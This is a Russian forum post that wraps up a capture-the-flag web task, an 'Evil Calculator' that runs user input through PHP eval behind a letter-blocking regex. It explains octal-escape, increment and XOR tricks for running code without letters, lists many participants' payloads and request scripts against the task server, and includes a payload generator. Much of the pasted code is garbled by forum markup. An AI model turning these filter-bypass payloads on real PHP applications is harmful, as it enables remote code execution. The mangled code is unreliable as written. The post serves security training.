
20.01.2019, 02:39
|
|
Участник форума
Регистрация: 06.07.2015
Сообщений: 240
С нами:
5713526
Репутация:
145
|
|
С момента запуска второго таска прошло 2 недели, а это значит самое время подвести итоги и закрыть все задания.Логи показывают что активность есть, есть интерес к решению задач не очевидными способами.Это очень здорово,все кто решал - молодцы.Все кто решал и по каким то причинам не смог решить - не стоит расстраиваться.Будут еще задачи где вы сможете проявить себя.Мы стараемся реализовывать задачи таким образом,что бы вы научились смотреть на код несколько иначе,чем вы смотрите сейчас,учились правильно искать нужную информацию и применять в своих целях. Уверен, спустя некоторое время вы эти и последующие задачи будете решать играючи.
Теперь что касается содержания данного поста.Первая часть будет посвящена разбору некоторых возможных вариантов решения.Я позволил себе некоторую вольность и условно разделил все решения на 2 вида:
Поэтому я распишу один элементарный способ решения с цифрами и пару способов без них.Когда вы поймете принцип - вам будет не сложно разобраться со всеми остальными вариантами. Во второй части будут ваши решения/программы и другой доп.материал, который вы мне скинули.
Итак.Заходим на http://task2.antichat.com и первое что бросается в глаза это форма и ее название. Из этого делаем вывод, что мы имеем калькулятор и input для ввода данных. Пробуем ввести 1 + 3 и получаем как и ожидалось 4. Пробуем ввести abc и получаем "Hacker Detected!!!". Картина постепенно вырисовывается. Пробуем посмотреть исходный код страницы в надежде получить какую либо доп.информацию.В итоге обнаруживаем ссылку на сорцы:
Отлично, проходим по ссылке и видим следующее:
PHP код:
[COLOR="#000000"]
Evil Calculator
[COLOR="#0000BB"]Result'[/COLOR][COLOR="#007700"]; eval([/COLOR][COLOR="#DD0000"]'print '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'input'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"]); print[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else echo[/COLOR][COLOR="#DD0000"]"Hacker Detected!!!"[/COLOR][COLOR="#007700"]; } [/COLOR][COLOR="#0000BB"]?> [/COLOR] Source Code -->
[/COLOR]
Уже что то.Видим eval и видим preg_match. Понимаем, что здесь классическое RCE и начинаем думать как можно обойти preg_match, который нам напрямую запрещает использовать алфавит.На помощь приходит документация по php. Так как мы работаем со строками,есть смысл заглянуть в документацию по строкам php и посмотреть, какие возможности они нам предоставляют.Заходим в документацию: http://php.net/manual/ru/language.types.string.php и начинаем ее изучать. Листаем не много до"Управляющие последовательности"и видим следующее:
Сообщение от None
\[0-7]{1,3} последовательность символов, соответствующая регулярному выражению символа в восьмеричной системе счисления, который молча переполняется, чтобы поместиться в байт (т.е. "\400" === "\000")
Смотрим в регулярку и понимаем, что слеш вполне допустим,цифры,так как это калькулятор тоже. Ну и остается дело за малым.Можем руками, можем через сторонние ресурсы, например, http://www.unit-conversion.info/texttools/octal/ перевести "phpinfo" в oct. Дальше,все что нам остается это добавить () и послать запрос.Итоговая конструкция будет выглядеть так:
.SpoilerTarget" type="button">Spoiler: Решение
Код:
"\160\150\160\151\156\146\157"()
В конечном итоге получаем вывод функции phpinfo().
Теперь разберем пару вариантов без цифр. В php инкремент работает не только на цифрах,но и на буквах, следовательно такой код имеет место быть:
[PHP]
[COLOR="#000000"][COLOR="#0000BB"]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$_<font color="#007700"> .SpoilerTarget" type="button">Spoiler: Решение
</font>[COLOR="#007700"]= []; [/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]=@[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'!'[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$____[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]$____[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$____[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$____[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"]++;[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]$_______[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$_______[/COLOR][COLOR="#007700"]++; [/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$___[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$____[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_____[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$______[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_______[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$__[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR]
[/COLOR]
Вариант с XOR разобран детально здесь:https://sinister.ly/Thread-How-To-Wr...-PHP-Backdoors . Если вкратце, то нам нужно найти такую комбинацию из двух строк,результатом XOR которых будет нужная буква:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]var_dump[COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'^'[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//p[/COLOR][/COLOR]
[/COLOR]
Вот пример решения:
.SpoilerTarget" type="button">Spoiler: Решение
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]=([/COLOR][COLOR="#DD0000"]'^'[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"]).([/COLOR][COLOR="#DD0000"]'('[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]).([/COLOR][COLOR="#DD0000"]'^'[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"]).([/COLOR][COLOR="#DD0000"]')'[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]).([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]).([/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'['[/COLOR][COLOR="#007700"]).([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]^[/COLOR][COLOR="#DD0000"]'@'[/COLOR][COLOR="#007700"]);${[/COLOR][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]()}[/COLOR][/COLOR]
Крайне сложно все охватить в одном посте, поэтому тем, кто захочет копнуть глубже, или рассмотреть варианты с $_GET например, то если загуглитьphp bypass alphaи/илиnon-alphanumeric php code[COLOR="#bfbfbf"]вы найдете ответы на все интересующие вас вопросы. Теперь перейдем к решениям:
.SpoilerTarget" type="button">Spoiler: Решения TASK2
@l1ght
Сообщение от l1ght
↑
$__[]='';$_="".$__;$_0=$_[3];$_0++;$_0++;$_0++;$_0++;$_0++;$_6=$_0;$_0++;$_0++ ;$_2=$_0;$_0++;$_4=$_0;$_0++;$_0++;$_0++;$_0++;$_0 ++;$_5=$_0;$_0++;$_7=$_0;$_0++;$_1=$_3=$_0;$_8=$_1 .$_2.$_3.$_4.$_5.$_6.$_7;$_8()
Сообщение от l1ght
↑
input=1;$_="\160\150\160\151\156\146\157";$_()
Сообщение от l1ght
↑
${~"%a0%b8%ba%ab"}[%aa]() ?%aa=phpinfo
@monotrue
Сообщение от monotrue
↑
""; $пхпинфо="\160\150\160\151\156\146\157"; $пхпинфо()
@cat1vo
Сообщение от cat1vo
↑
1. [a-zA-Z`] - ${"\160\150\160\151\156\146\157"()}
2. [a-zA-Z0-9`] - $_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@ ').('='^'[').('/'^'@');${$_()}
@OneManTeam
Сообщение от OneManTeam
↑
1;
$__++;
$__=$__.[];
$_______________++;
$___=$__[$_______________++];
$____= $___;
$____=$____++;$____++;$____++;$____++;$____++;$___ _++;$____++;$____++;$____++;$____++;$____++;$____+ +;$____++;$____++;$____++;$____++;
$_____=$___;
$_____=$_____++;$_____++;$_____++;$_____++;$_____+ +;$_____++;$_____++;$_____++;
$______=$___;
$______=$______++;$______++;$______++;$______++;$_ _____++;$______++;$______++;$______++;$______++;
$_______=$___;
$_______=$_______++;$_______++;$_______++;$_______ ++;$_______++;$_______++;$_______++;$_______++;$__ _____++;$_______++;$_______++;$_______++;$_______+ +;$_______++;
$________=$___;
$________=$________++;$________++;$________++;$___ _____++;$________++;$________++;
$_________=$___;
$_________=$_________++;$_________++;$_________++; $_________++;$_________++;$_________++;$_________+ +;$_________++;$_________++;$_________++;$________ _++;$_________++;$_________++;$_________++;$______ ___++;
$__________=$____.$_____.$____.$______.$_______.$_ _______.$_________;
$__________();
@crabovwik
Сообщение от crabovwik
↑
1 + 1;"\160\150\160\151\156\146\157"();
@=HALK=
Сообщение от =HALK=
↑
"\160\150\160\151\156\146\157"()
@oleg_1va
Сообщение от oleg_1va
↑
$_="\160\162\151\156\164\137\162";
$__="\160\150\160\151\156\146\157";
$_($__());
@MichelleBoxing
Сообщение от MichelleBoxing
↑
"\160\150\160\151\156\146\157"()
@Gorbachev
Сообщение от Gorbachev
↑
"";$похек="\160\150\160\151\156\146\157";$п хек()
@dais
Сообщение от dais
↑
$_="\160\150\160\151\156\146\157";$_();
Сообщение от dais
↑
$__
=(
$_
^
$__
);
$__
++;
$__
++;
$__
++;
$_
=[];
$_
=
"
$_
"
;
$_
=
$_
[
$__
];
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$____
();
@b3
Сообщение от b3
↑
"\160\150\160\151\156\146\157"();
@Franky_T
Сообщение от Franky_T
↑
"\160\150\160\151\156\146\157"()
@xmp
Сообщение от xmp
↑
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$_=$$____;
$___();
Сообщение от xmp
↑
"\160\150\160\151\156\146\157"();
@qwaszx000
Сообщение от qwaszx000
↑
"\160\150\160\151\156\146\157"()
@grimnir
Сообщение от grimnir
↑
$_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@ ').('='^'[').('/'^'@');${$_()}
@redscout
Сообщение от redscout
↑
"\160\150\160\151\156\146\157"()
Сообщение от redscout
↑
"\160\162\151\156\164\137\162"("\147\145\164\137\1 44\145\146\151\156\145\144\137\146\165\156\143\164 \151\157\156\163"()["\151\156\164\145\162\156\141\154"][383]())
@Jerri
Сообщение от Jerri
↑
import requests data={"input": '$_ = \"\\143\\150\\162\"; $___ = $_(112).$_(104).$_(112).$_(105).$_(110).$_(102).$_ (111); $___()'} r = requests.post("
http://task.antichat.com:10002/
", data=data)
Сообщение от Jerri
↑
import requests com = "phpinfo" arg = "-1" data={"input": '$_ = \"_\\120\\117\\123\\124\"; $__ = ${$_}; $__[23]($__[24]);', 23: com, 24: arg} r = requests.post("
http://task.antichat.com:10002/
", data=data) print(r.content)
@rudi
Сообщение от rudi
↑
"\160\150\160\151\156\146\157"()
@Shubka75
@Deathdreams
Сообщение от Deathdreams
↑
"\160\150\160\151\156\146\157"()
@Alaich
Сообщение от Alaich
↑
"\160\150\160\151\156\146\157"()
@unstppbl
[QUOTE="unstppbl"]
↑
http://task.antichat.com:10002/?_=phpinfo
'';$_="{";$_=($_^";").($_^"/");?>;").($_^"/");?>
Так же хочу отметить отдельно @D3N . Он решил написать "Генератор-Переводчик".Выкладываю его здесь,вдруг кому пригодится.
[PHP]
[COLOR="#000000"] ';
$arr[] ='?';
$arr[] ='@';
$arr[] ='[';
$arr[] =']';
$arr[] ='^';
$arr[] ='_';
$arr[] ='`';
$arr[] ='{';
$arr[] ='|';
$arr[] ='}';
$arr[] ='~';
$arr[] ='`';
$arr[] ='';
$arr[] ='‚';
$arr[] ='ƒ';
$arr[] ='„';
$arr[] ='…';
$arr[] ='†';
$arr[] ='‡';
$arr[] ='ˆ';
$arr[] ='‰';
$arr[] ='Š';
$arr[] ='‹';
$arr[] ='Œ';
$arr[] ='';
$arr[] ='Ž';
$arr[] ='';
$arr[] ='';
$arr[] ='‘';
$arr[] ='’';
$arr[] ='“';
$arr[] ='”';
$arr[] ='•';
$arr[] ='–';
$arr[] ='—';
$arr[] ='˜';
$arr[] ='™';
$arr[] ='š';
$arr[] ='›';
$arr[] ='œ';
$arr[] ='';
$arr[] ='ž';
$arr[] ='Ÿ';
$arr[] ='¡';
$arr[] ='¢';
$arr[] ='£';
$arr[] ='¤';
$arr[] ='¥';
$arr[] ='¦';
$arr[] ='§';
$arr[] ='¨';
$arr[] ='©';
$arr[] ='ª';
$arr[] ='«';
$arr[] ='¬';
$arr[] ='%';
$arr[] ='®';
$arr[] ='¯';
$arr[] ='°';
$arr[] ='±';
$arr[] ='²';
$arr[] ='³';
$arr[] ='´';
$arr[] ='µ';
$arr[] ='¶';
$arr[] ='·';
$arr[] ='¸';
$arr[] ='¹';
$arr[] ='º';
$arr[] ='»';
$arr[] ='¼';
$arr[] ='½';
$arr[] ='¾';
$arr[] ='¿';
$arr[] ='À';
$arr[] ='Á';
$arr[] ='Â';
$arr[] ='Ã';
$arr[] ='Ä';
$arr[] ='Å';
$arr[] ='Æ';
$arr[] ='Ç';
$arr[] ='È';
$arr[] ='É';
$arr[] ='Ê';
$arr[] ='Ë';
$arr[] ='Ì';
$arr[] ='Í';
$arr[] ='Î';
$arr[] ='Ï';
$arr[] ='Ð';
$arr[] ='Ñ';
$arr[] ='Ò';
$arr[] ='Ó';
$arr[] ='Ô';
$arr[] ='Õ';
$arr[] ='Ö';
$arr[] ='×';
$arr[] ='Ø';
$arr[] ='Ù';
$arr[] ='Ú';
$arr[] ='Û';
$arr[] ='Ü';
$arr[] ='Ý';
$arr[] ='Þ';
$arr[] ='ß';
$arr[] ='à';
$arr[] ='á';
$arr[] ='â';
$arr[] ='ã';
$arr[] ='ä';
$arr[] ='å';
$arr[] ='æ';
$arr[] ='ç';
$arr[] ='è';
$arr[] ='é';
$arr[] ='ê';
$arr[] ='ë';
$arr[] ='ì';
$arr[] ='í';
$arr[] ='î';
$arr[] ='ï';
$arr[] ='ð';
$arr[] ='ñ';
$arr[] ='ò';
$arr[] ='ó';
$arr[] ='ô';
$arr[] ='õ';
$arr[] ='ö';
$arr[] ='÷';
$arr[] ='ø';
$arr[] ='ù';
$arr[] ='ú';
$arr[] ='û';
$arr[] ='ü';
$arr[] ='ý';
$arr[] ='þ';
$arr[] ='ÿ';
// Разрешенные для перевода символы.
$cap_letters[] ='A';
$cap_letters[] ='B';
$cap_letters[] ='C';
$cap_letters[] ='D';
$cap_letters[] ='E';
$cap_letters[] ='F';
$cap_letters[] ='G';
$cap_letters[] ='H';
$cap_letters[] ='I';
$cap_letters[] ='J';
$cap_letters[] ='K';
$cap_letters[] ='L';
$cap_letters[] ='M';
$cap_letters[] ='N';
$cap_letters[] ='O';
$cap_letters[] ='P';
$cap_letters[] ='Q';
$cap_letters[] ='R';
$cap_letters[] ='S';
$cap_letters[] ='T';
$cap_letters[] ='U';
$cap_letters[] ='V';
$cap_letters[] ='W';
$cap_letters[] ='X';
$cap_letters[] ='Y';
$cap_letters[] ='Z';
$letters[] ='a';
$letters[] ='b';
$letters[] ='c';
$letters[] ='d';
$letters[] ='e';
$letters[] ='f';
$letters[] ='g';
$letters[] ='h';
$letters[] ='i';
$letters[] ='j';
$letters[] ='k';
$letters[] ='l';
$letters[] ='m';
$letters[] ='n';
$letters[] ='o';
$letters[] ='p';
$letters[] ='q';
$letters[] ='r';
$letters[] ='s';
$letters[] ='t';
$letters[] ='u';
$letters[] ='v';
$letters[] ='w';
$letters[] ='x';
$letters[] ='y';
$letters[] ='z';
$xors= array();
for ($i=0;$i$arr[$i] ^$arr[$j],'x1'=>$arr[$i],'x2'=>$arr[$j]);
$xors[] =$temp;
}
}
}
// фраза которую нужно "пер вести"
$command="phpinfo";
$comm_array=str_split($command);
$result="";
for ($j=0;$j!
|
|
|